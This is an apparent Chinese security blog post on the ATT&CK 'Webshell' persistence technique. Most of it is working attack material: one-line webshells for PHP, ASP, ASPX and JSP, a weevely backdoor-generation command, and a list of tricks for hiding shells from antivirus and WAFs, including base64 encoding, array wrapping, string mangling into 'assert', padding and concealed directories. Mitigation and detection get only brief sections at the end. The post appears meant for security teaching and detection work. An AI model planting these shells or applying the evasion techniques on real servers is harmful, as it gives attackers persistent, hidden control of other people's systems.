title: Webshell
tags:
- ATT&CK
author: 夜莺
categories: - ATT&CK
cover: ‘https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/VtW3gq.png‘
abbrlink: 1885
date: 2020-02-16 21:08:41
ATT&CK矩阵-持久化-Webshell
一、简介
Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入服务器通道。Webshell可以为攻击者提供一个命令行界面。除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(例如,参见China Chopper Web Shell客户端)。
Web Shell可以充当持久访问或持久机制。
二、测试用例
Webshell一句话
- PHP ``` <?php @eval($_POST[‘value’]);?> <?php system($_REQUEST1);?> ……
2. ASP
<%eval request(“MH”)%> <%execute request(“MH”)%> ……
3. ASPX
<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>
<%@ Page Language=”Jscript” validateRequest=”false” %><%Response.Write(eval(Request.Item[“w”],”unsafe”));%> ……
4. JSP
<%Runtime.getRuntime().exec(request.getParameter(“i”));%> //无回显执行系统命令 ……
Webshell部分汇总<br />
`https://github.com/xl7dev/WebShell`
#### Webshell管理工具
1. 中国菜刀
2. Cknife
3. [蚁剑](https://github.com/AntSwordProject/antSword)
4. [冰蝎](https://github.com/rebeyond/Behinder)
5. xise
6. weevely(kali)<br />
`weevely generate password test1.php //生成后门`<br />
![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/QGcVvv.png)<br />
已连接,可通过help查看相关命令<br />
![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/BKPvrC.png)<br />
查询系统信息<br />
![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/7cZsC7.png)
#### Webshell免杀
常见几种方式,特别推荐大数据包方式进行免杀webshell
1. 编码
用php的编码函数, 简单的base64_decode,其中因为他的正则匹配可以加入一些下划线干扰杀软(PS:这种方法现在基本GG)
<?php $a = base64_decode(“YXNz+ZXJ0”); $a($_POST[x]); ?>
2. 数组
把执行代码放入数组中执行绕过
<?php $a = substr_replace(“assexx”,”rt”,4); $b=[‘’=>$a($_POST[‘q’])]; ?>
多维数组
<?php $b = substr_replace(“assexx”,”rt”,4); $a = array($arrayName = array(‘a’ => $b($_POST[‘q’]))); ?>
3. 特殊字符干扰
<?php $a = $_POST[‘a’]; $b = “\n”; eval($b.=$a); ?>
4. 字符串变形
<?php $a = substr_replace(“assexx”,”rt”,4); $a($_POST[‘x’]); ?>
```
大数据包绕过
通过注释填充大量无用字符,增加文件大小,如
可绕过大部分wafWebshell隐藏
直接修改源代码,插入webshell,多个文件藏匿
- Include调用
- 创建非标准目录
cmd 下创建md test..
,然后拷贝webshell至文件夹下,达到隐藏效果 - 配置文件隐藏
…….
三、缓解措施
- 特权账号管理:严格审核账户权限,禁止用于管理服务器的账户与内部网络用户的权限重叠,即使攻击者获取webshell,也需要进行提权完成下一步攻击操作,增加攻击成本
- 对所使用的web服务器进行补丁修补,包括搭建在web服务器上的应用程序也定时进行漏洞修补、版本更新,防止攻击者通过应用程序漏洞进行部署webshell
- 严格控制服务器的写权限分配,阻止攻击者写入webshell
禁止服务器文件上传路径执行脚本文件
四、检测方法
针对修改程序文件的隐藏webshell,可通过文件监视方式检查服务器文件是否被修改
- 通过流量检测方式,针对敏感操作进行阻断,攻击者通常会通过webshell进行下一步攻击操作,如提权、权限维持、通道搭建
- 部署相关安全设备进行防御,如HIDS